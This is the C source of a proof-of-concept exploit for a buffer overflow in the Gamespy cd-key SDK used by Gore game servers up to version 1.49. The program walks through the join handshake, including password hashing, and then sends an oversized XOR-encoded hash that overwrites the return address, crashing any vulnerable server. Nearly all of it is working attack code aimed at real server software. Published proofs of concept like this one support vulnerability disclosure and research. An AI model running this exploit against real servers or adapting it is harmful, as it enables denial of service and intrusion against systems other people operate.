Gore <= 1.49 Gamespy cd-key SDK buffer-overflow exploit/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/goregsbof.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "md5.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 27777
#define TIMEOUT 3
#define XORSEEK 3 /* "gamespy", \auth\\pid\302\ch\12345678\resp\ */
#define EIP "\xde\xc0\xad\xde"
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
*)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, no answer received\n" \
"\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
void gamespy_xor(u_char *data, int len);
void gs_info_udp(u_long ip, u_short port);
void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
p1[] =
"\x02\x00\x0F\x00"
"\x01" /* 1 = clear, 3 = password */
"\x00\x00\x00\x00\x00\x00\x00\x00", /* password */
p2[] =
"\x0A\x00\x00\x00\x00\x00\x00\x00\x00",
p3[] =
"\x01\x03\x00\x00\x01\x01\x01\x00\x00\x00\x8F\x02"
"\x49" /* hash size, don't modify! */
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"000000000000000000000000000000000"
EIP
"\0";
setbuf(stdout, NULL);
fputs("\n"
"Gore <= 1.49 Gamespy cd-key SDK buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
" The return address will be overwritten with 0x%08lx\n"
"\n", argv[0], port, *(u_long *)EIP);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations:\n", stdout);
gs_info_udp(peer.sin_addr.s_addr, port);
for(;;) { /* loop used for password only */
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- send first join packet\n", stdout);
SEND(p1);
RECV;
if(buff[4] == 2) {
fputs("\n- server full\n", stdout);
break;
} else if(buff[4] == 4) {
fputs("\nInsert the password to join the server:\n ", stdout);
fflush(stdin);
fgets(buff, BUFFSZ - 1, stdin);
len = strlen(buff) - 1;
buff[len] = 0x00;
p1[4] = 0x03;
gore_pwd_md5(p1 + 5, buff, len);
close(sd);
continue;
} else if(buff[4] != 1) {
printf("\nError: unknown server error %d\n\n", buff[4]);
exit(1);
}
fputs("- send second join packet\n", stdout);
memcpy(p2 + 1, buff + 5, 8);
SEND(p2);
RECV;
fputs("- encode hash (XOR \"gamespy\")\n", stdout);
gamespy_xor(p3 + 13, sizeof(p3) - 14);
printf("- send final packet containing the buffer-overflow data
(EIP: 0x%08lx)\n",
*(u_long *)EIP);
SEND(p3);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
RECV;
if(len > 9) {
printf(
"you have received the following error message from
the server\n"
"\n"
" %s\n"
"\n", buff + 12);
}
}
break;
}
close(sd);
return(0);
}
void gamespy_xor(u_char *data, int len) {
u_char gamespy[] = "gamespy",
*gs;
for(gs = gamespy + XORSEEK; len; len--, gs++, data++) {
if(!*gs) gs = gamespy;
*data ^= *gs;
}
}
void gs_info_udp(u_long ip, u_short port) {
struct sockaddr_in peer;
int sd,
len,
nt = 1;
u_char buff[2048],
*p1,
*p2;
peer.sin_addr.s_addr = ip;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nAlert: socket timeout, no replies received. Probably the
server doesn't support the Gamespy query protocol or the port is
wrong\n\n", stdout);
close(sd);
return;
}
len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
p1 = buff;
while((p2 = strchr(p1, '\\'))) {
*p2 = 0x00;
if(!nt) {
if(!*p1) break;
printf("%30s: ", p1);
nt++;
} else {
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
printf("%s\n\n", p1);
close(sd);
}
void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen) {
md5_context md5t;
static u_char md5h[16];
md5_starts(&md5t);
md5_update(&md5t, pwd, pwdlen);
md5_finish(&md5t, md5h);
memcpy(buff, md5h, 8);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif